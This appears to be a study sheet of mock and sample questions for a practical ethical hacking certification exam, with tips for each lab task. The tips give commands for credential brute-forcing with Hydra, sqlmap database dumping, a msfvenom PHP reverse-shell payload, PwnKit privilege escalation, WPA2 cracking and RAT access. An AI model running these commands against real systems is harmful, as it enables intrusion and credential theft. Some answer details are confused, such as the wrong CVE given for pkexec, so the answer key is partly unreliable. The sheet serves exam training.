**Mock Exam Questions**

The following questions have been derived from the input from test takers and will give you an insight what type of Questions are expected in exam and how to go about solving them.

|  |  |  |  |
| --- | --- | --- | --- |
| Question Number | Question | Y/N | Written to Github |
| 1 | ***There is a machine running wamp server in the subnet. Provide the IP address of the server.***  **Tips:-**   Scan the entire subnet with -A(aggressive scan) in nmap or use -sV(version flag). You can speed up the scan by specifying port with -p as 8080,80,443.  Nmap -p 80,443,8080 -sV -A <IP Address>  While investigating an attack, you found that a Windows web development environment was exploited to gain access to the system. Perform extensive scanning and service enumeration of the target networks and identify the IP address of the server running WampServer | Y | nmap scanning |
| 2 | ***Find the FQDN of the domain controller in the network***  **Tips:-**   Scan the entire subnet with -A(aggressive scan) in nmap. The  FQDN will appear for the server.  **nmap -p 389 -T4 -A -v --script ldap-rootdse nnn.nnn.nnn.nnn/nn -Pn**  **nmap -p 389 -sV -iL <IP Address> -Pn**  **nmap -p 389 -sV <IP Address> -Pn**  Perform extensive scan of the target network and identify the FQDN of the Domain  Controller.  Perform extensive scan of the target network and identify the FQDN of the Domain Controller. | Y | nmap scanning |
| ***3*** | ***Identify the machine with smb enabled. Crack the smb credentials for the username given. Access an encrypted file and decode the encrypted file to retrieve the flag.***  **Tips:-**   Scan the entire subnet for open smb ports. You can use the wordlist available on the desktop on Parrot os. Use Hydra to crack it. You can also use Metasploit to crack the password. Use Msfconsole auxiliary/scanner/smb/smb\_login . The password for the encoded file is the same. If the file contains a hash, try to decode it.  >>>>>>Suggested lecture: smb enumeration, FTP Exploitation.  Identify a machine with SMB service enabled in the 192.168.0.0/24 subnet. Crack the SMB credentials for user Henry and obtain Sniff.txt file containing an encoded secret. Decrypt the encoded secret and enter the decrypted text as the answer. Note: Use Henry’s password to decode the text. | y |  |
| ***4*** | ***There is an Android device in the subnet. Identify the device. Get the files in scan folder. Provide SHA384 hash with the largest of entropy***  **Tips:-**   Scan the entire subnet to identify android device. Use Phonesploit, pull required folder to download files, check the ectropy of all files (Detect it easy tool), and then calculate hash. (hashcalc)  >>>>>>Suggested lectures: Hacking Android Devices with Phonesploit over ADB, Analyze ELF Executable File using Detect It Easy (DIE), Calculating Hashes on Windows with different tools  An insider attack has been identified in one of the employees mobile device in  192.168.0.0/24 subnet. You are assigned to covertly access the users device and obtain  malicious elf files storA ed in a folder "Scan". Perform deep scan on the elf files and obtain  the last 4 digits of SHA 384 hash of the file with highest entropy value.  TCP/5555 ABD | y |  |
| ***5*** | ***Perform the vulnerability scan for the given IP address. What is the severe value of a vulnerability that indicates the end of life for a web development language platform?***  **Tips:-**   Use Nessus to scan the target. Nessus will provide all results.  >>>>>>Suggested lectures: -  Perform a vulnerability scan for the host with IP address 172.20.0.16 What is the severity score of a vulnerability the indicates the End of Life of a web development language platform?  Nmap -Pn –script vuln <IP Address>  Then investigate CVE and look for a high severity | Y |  |
| ***6*** | ***Exploit a remote login application on a Linux target in the given subnet to access a sensitive file. Enter the content of the file.***  Use Hydra to break the password Telnet, login and access the file, and enter the flag  >>>>>>Suggested lectures: FTP Exploitation. telnet exploitation  Exploit a remote login and command-line execution application on a Linux target in the 192.168.0.0/24 subnet to access a sensitive file, NetworkPass.txt Enter the content in the file as answer.  Nmap -p 21 -Pn 192.168.0.0/24  Hydra -L username list -P password list Protocol | y |  |
| ***7*** | ***Analyze the image file to extract the hidden message. Password is given.***  **Tips:-**   Use Open stego to reveal the secret  >>>>>>Suggested lectures: Image Steganography  Download from https://github.com/syvaidya/openstego/releases  **SNOW if it is a text file Open Stego if it is a picture file CRYPTOol for a HEX fule** | y |  |
| ***8*** | ***8.  Exploit weak credentials of FTP. Obtain the hidden file***  **Tips:-**   Use Hydra to break the password, login and access the file, and enter the flag  >>>>>>Suggested lectures: FTP Exploitation.  Hydra -L <username file> -P <wordlist> FTP | Y |  |
| ***9*** | **Escalate privilege on a Linux machine. User-level credentials are given.-**  Use polkit exploit to get the root access  >>>>>>Suggested lectures: Walkthrough - Escalate Privileges by Exploiting Vulnerability in pkexec  Simple Attack (Horizontal)   |  |  | | --- | --- | |  | Nmap -sV -p 22 <IP Address> | |  | ssh connection ssh@ <Username>@<IP Address> | |  | Sudo -l – (to view priv as root) | |  | sudo -u <user> /bin/bash | |  | Cd / | |  | Find . -name <filename> |   Pkexec CVE-2021-4043   |  |  | | --- | --- | | Terminal |  | | Sudo -l |  | | Linpeas git hub – scanner to check for local escalation  # From github  curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh  ./linpeas.sh -a > /dev/shm/linpeas.txt |  | | Pwnkit exploit  Git clone |  | | Cd git clone |  | | Make |  | | ./<complined Code> |  |   You used shoulder surfing to identify the username and password of a user on the  Ubuntu machine in the 192.168.0.0/24 network, that is, smith and L1nux123. Access the  target machine, perform vertical privilege escalation to that of a root user, and enter the  content of the imroot.txt file as the answer.  Vertical provledge escalation  Nmap -sV -p22 <IPAddress>  Ssh user@IPAddress Password  sudo -l  Sudo -i Enter Password  Whoami – to check that you are a root user  Cd /  Find . -name <Filename> |  |  |
| ***10*** | ***Find a file entry point. File is given***  **Tips:-**   Use DIE(detect it easy) or exeinfo PE tools.  >>>>>>Suggested lectures: Analyze ELF Executable File using Detect It Easy (DIE), Find the Portable Executable (PE) Information of a Malware Executable File  <https://github.com/horsicq/DIE-engine/releases>  A suspicious executable file "malicious-file". Your need to find what is the executable's Entry point (Address).  During an assignment, an incident responder has retained a suspicious executable file  "die-another-day". Your task as a malware analyst is to find the executable's Entry point  (Address). The file is in the C:\Users\Admin\Documents directory in the "EH Workstation  – 2" machines. | y |  |
| ***11*** | ***From a pcap file, analyze a DDOS attack and provide the IP address that sent most packets.***  **Tips:-**   Use Wireshark and statistics tab  >>>>>>Suggested lectures: Detect DDOS attack with Wireshark  Wireshark > Statics > IPV4 Statics  Tcp.flags.syn == 1 and tcp.flags.ack == 0 | Y |  |
| ***12*** | ***You are provided a username/password for a website. Use SQL Injection attack to extract the password of another user.***  **Tips:-**   Log in with the given credential. Use cookie to extract the password of a user from the table with sqlmap.  Open browser and login  Open inspector and type document.cookie  $ sqlmap -u "URL" --cookie="captured cookie of looged in user" --dbs    #for Database  $ sqlmap -u "URL" --cookie="captured cookie of looged in user" -D \*DATABASE NAME\* --tables #for Tables of selected Database  $ sqlmap -u "URL" --cookie="captured cookie of looged in user" -D \*DATABASE NAME\* -T \*TABLE NAME\* --colmns #for Column names  $ sqlmap -u "URL" --cookie="captured cookie of looged in user" -D \*DATABASE NAME\* -T \*TABLE NAME\* --dump #dump t  >>>>>>Suggested lectures: SQL Injection Vulnerabilities, SQL Injection Challenge (SQLMAP THM Free Room) |  |  |
| ***13*** | ***.  Exploit a web application at www.xxxx.com and enter the flag value from given page.***  **Tips:-**  Find any input parameter on website and capture the request in burp and then use it to perform sql injection using sqlmap  sqlmap -r <txt file from burpsuite> -D <database name> --tables  sqlmap -r <txt file from burpsuite> -D <database name> --tables --columns  sqlmap -r <txt file from burpsuite> -D <database name> --dump  sqlmap -r <txt file from burpsuite> -D <database name> --tables -T users  >>>>>>Suggested lectures: SQL Injection Vulnerabilities, SQL Injection Challenge (SQLMAP THM Free Room)  Exploit the web application available at www.cehorg.com (172.20.0.12)and enter the  flag's value at the page with page\_id=84. |  |  |
| ***14*** | ***Perform vulnerability research and exploit the target at given site.***  **Tips:-**   Scan the target with Zapp to find the vulnerability. Then exploit it. It can be file upload/ File inclusion vulnerability on DVWA.  >>>>>>Suggested lectures: - DVWA file upload, File Inclusion  Perform vulnerability research and exploit the web application training.cehorg.com,  available at 192.168.0.64. Locate the Flag.txt file and enter its content as the answer.  LOW (No file verification)  From Parrot OS – Create a payload  Msfvenom -p php/meterpreter/reverse\_tcp LHOST=IP Address LPORT=4444 -f raw >filename.php  Start Metaspolit  Use exploit/multi/handler  Set payload php/meterpreter/reverse\_tcp  Set LHOST  run  Upload file and open file |  |  |
| ***15*** | ***Perform SQL injection on a website and extract flag value.***  **Tips:-**   Use sqlmap  >>>>>>Suggested lectures: - SQL Injection Vulnerabilities, SQL Injection Challenge (SQLMAP THM Free Room) |  |  |
| ***16*** | ***A file is available in a directory with DVWA. Access the file and enter the contents.***  **Tips:-**   Use the file inclusion mechanism to access the file  >>>>>>Suggested lectures: - DVWA  File Inclusion  A file named Hash.txt has been uploaded through DVWA  (http://172.20.0.16:8080/DVWA). The file is located in the  “C:\wamp64\www\DVWA\hackable\uploads\” directory. Access the file and crack the  MD5 hash to reveal the original message. Enter the decrypted message as the answer.  You can log into the DVWA using the credentials admin/password.  REMEMBER YOU CAM CHANGE the SeCurity Level! |  |  |
| ***17*** | ***Analyze IoT traffic from a pcap file. Identify the packet with the publish message and enter the length.***  **Tips:-** Open IOT capture file in wireshark. Filter; MQTT and find length of the packet in the lower pane  >>>>>>Suggested lectures: - Detect IoT traffic | y |  |
| ***18*** | ***Crack the weak credentials of wifi from a pcap file***  **Tips:-** Use aircrack-ng to crack the password.  $ aircrack-ng '\*/target file.cap\*' -w \*/wordlist\*  >>>>>>Suggested lectures: - Walkthrough - Perform Wireless Attacks, Crack Wifi with Aircrack  WEP - Aircrack-ng <PCAP File>  WPA2 Personal –  List BSSID - Aircrack-ng <PCAP File>  aircrack-ng -a2 -b <Target BSSID> -w <password wordlist> <PCAP file> | y |  |
| ***19*** | ***A RAT server is installed on a server. Connect with it and access the file.***  **Tips:-** Scan all ports with nmap (-p-). Look for the unknown ports. Use theef RAT to connect to it.  >>>>>>Suggested lectures: - Create a Trojan Server using Theef RAT Trojan  Install Theef RAT on Windows Server and scan subnets with NMAP  A disgruntled ex-employee has hidden a server access code in a Windows machine in  the 192.168.0.0/24 subnet. You can not physically access the target machine, but you  know that the organization has installed a RAT in the machine for remote administration  purposes. Your task is to retrieve the "sa\_code.txt" file from the target machine and  enter the string in the file as the answer. | Y |  |
| ***20*** | ***Decrypt the veracrypt volume***  **Tips:-** Use veracrypt to decrypt the volume.   * Use veracrypt to log in the hidden drive * Password is hidden in another machine * open file * decrypt the hash and enter the contents   >>>>>>Suggested lectures: - Disk Encryption Using Veracrypt, Calculating Hashes on Windows with different tools | y | ` |

Sample Paper

|  |  |  |  |
| --- | --- | --- | --- |
| 1 | After discovering that a website hosted on a server was vlnerable to blind SQL Injection attacks during a security assessment, It was determined that the database management system underlying the site was MY SQL Can you identify the operating system of the machine hosting the database  Look for MySQL port open (TCP/3306)  Nmap -sV <IP Address>/<CIDR> & nmap – O <IP Address>/<CIDR>  \*\*\*Long Version\*\*\* nmap -A <IP Address>/<CIDR> |  |  |
| 2 | In an organization network security assessment, a peculiar Domain User account was discovered to of been added to machine with the IP address 192.168.1.10. The following user accounts were found to be secure: JohnDoe, SarahConnor, Neo, Oracle and Sherlock. What is the user name of the suspicious account? Please provide the username only and exclude the domain name  RDP on to named server  Open cmd and net user and answer with the |  |  |
| 3 | John, the network administrator was preforming a routine security scan when he noticed that a machine on the netowkr had a port open for establishing Windows Remote Desktop connections. He need to Identify the IP address of the machine in question. Can you assist John in locating the IP address of the machine?  Nmap -Pn -p 3389 -sV <IP Address>/<CIDR> |  |  |
| 4 | The “Ethical Hacker-1” machine has a file called Cry-DES (ECB)-FTP-IP.hex containing encrypted credentials to connect to an FTP server. The files encryption algorithm is DES(ECD). The proceed, the file needs to be decrypted to obtain the FTP credentials. Afterward, use the FTP login credentials, “Hacker” as the username, to connect to the FTP server and retireve the file names “flag1.txt.” Can you decrypt the files and provide the contents for “flag1.txt” as the answer?  Use CrypTool to decrypt then FTP the flag |  |  |
| 5 | In an organisation, it has been discovered that an employee stole critical bank credentials and concealed them with in a file called “Secret-Accounts.txt” using steganography. Fortunately, the email attachment containing the file was seized and save on the “Ethical Hacker-1” machine. The file is stored at C:\Users\Dell\Documents\Snow\Secret Accounts.txt, and the password required to access the file is “magic”. Please enter only the numeric account number in you response  SNOW -C -p magic output.txt |  |  |
| 6 | You are working as an ethical hacker for an organization, and one of the employees, Sarah, has reported being locked out of her word press account at <http://192.168.1.10:8080/CEH>. She suspects foul play and has asked for you help in retrieving her account password from the WordPress database. Your task is to identify the password associated with the user ID “Sarah” and resolve the issue to allow her to access her account again  Wpscan –url <http://192.168.1.19:8080/CEH> -u sarah -P <password list>  Msfconsole  Use auxiliary scanner/http/wordpress\_login\_enum show options set PASS\_FILE <password list file> set RHOSTS 192.168.1.10 set RPORT 8080 set TARGETURI http://192.168.1.10:8080/ set USERNAME sarah  run |  |  |
| 7 | A file called “Secrethash” has been iploaded via DVWA at heep://192.168.1.10:8080/DVWA. The file is located at the following path C:\Wamp64\www\DVWA\hackable\uploads\Secret-Hash.txt. Your task is to crack the MD5 hash present in the file and reveal the orinigal message. You can access the file by logging in to DVWA using the provided credentials  Username- “superuser” and Password “superman”  Hint you can decryt using the link hashes.com/en/decrypt/hash  Change the browser path after login  And use hashes.com to decrypt |  |  |
| 8 | As an ethical hacked working for a company, you have been tasked with retrieving a critical file named secret.txt that has been concealed within the Server 2019 machine. The file is located at the following path C:\Users\Dell\Documents\Confidential. You will need to use a backdoor installed in the server to access the file. Your objective is to find the secret number hidden inside file and procide it as your answer.  Use the creds found in Q2  Browse to the path  Open secrets.txt and copy the number inside (not encrypted) |  |  |
| 9 | During a security assessment, it was discovered that a machine on a denial of service attack. A network session file named DoS.pcapng was recorded and saved in the Documents folder of the Ethical hacker-1 machine. Your task is to identify the IP address of the attackers machine  Wireshark > Statics > IPV4 Statics  Tcp.flags.syn == 1 |  |  |
| 10 | Cynthia, a security researcher, has been investigating unususal network activity on a company’s network. She discovered a massive influx of incoming from various sourcesand determined that the network is under a Distributed Denial of Service accacl. The captured network session file named “DDoS.pcapng”, has been saved to the docu,nets foled for the companys server. Your task is to analyze the file and determine the number of machiens that were involved in the attack  Wireshark > Statics > IPV4 Statics  Tcp.flags.syn == 1 and tcp.flags.ack == 0 |  |  |
| 11 | An FTP ste is hoted on a machine in a network. Crack the FTP credentials to obtain the file “flag.txt! available on the FTP server and enter the contents in the file as the answer  Hydra -L /<Userlist file> -P <Password List file> ftp://<IP Address>  If user is listed  Hydra -l username -P <Password List file> ftp://<IP address>  ftp to server  get flag.txt |  |  |
| 12 | An employee named John encryoted a sensitive legal contrat and took a backup of it. He then deleted the encryted file but for to delete the orinigal one. He has stored the docuemtn on the Desktop f this office completer. John approached you to remotely access his workplace completer, delete the file and provide the document number that starts woth “F/NXXXXXXXXX”. The completes name is “Server2019” and the login creds are Username John; Password Secure123  Nmap –p 3389 <IP address>/<CIDR> Remote Desktop on the server and view the file |  |  |
| 13 | You are Cathie, an ethical hacker working for Movie Production house. While tsting the website [www.moviescope.com](http://www.moviescope.com) for vulnerabilities you came across an SQL-injection vulnerability. The cookie information is stored in a text file in the Documents folder of the “Ethical Hacker-2” machine. Use the SQ DSSS attack method to capture the session link. Determine the contact number of Kety associated with the web site  Use SQLi  Or  IDOR |  |  |
| 14 | As part of this job. Raven, a network security specialist, was tasked with analyzing a packet capture file called “Dos.pcapng”, which was stored in the ocuments folder of the Ethical Hacker-1 machine. He was instructed to determine is any iser credentials associated with the website [www.industry.com](http://www.industry.com) were recorded in plan text format. After examing the file, Raven discovered that the site traffic was tracersing in plain text and found a username and password recorded in one of the packets. Please provide the credentials found in the capture file in the following format: Username/Password  Wireshark  http.request.method == POST |  |  |
| 15 |  |  |  |
| 16 | After scanning the network, you an ethical hacker found out that some hosts are alive. Identity the numver of hosts that are alive  Nmap -sn <IP Subnet>/<CIDR> |  |  |
| 17 | Veracrypt |  |  |
| 18 | Crypt Tool |  |  |
| 19 | Android Mobile Phone  Nmap -p 5555 |  |  |
| 20 | BTCTextEncoder |  |  |

Update questions

|  |  |  |  |
| --- | --- | --- | --- |
| 1 |  |  |  |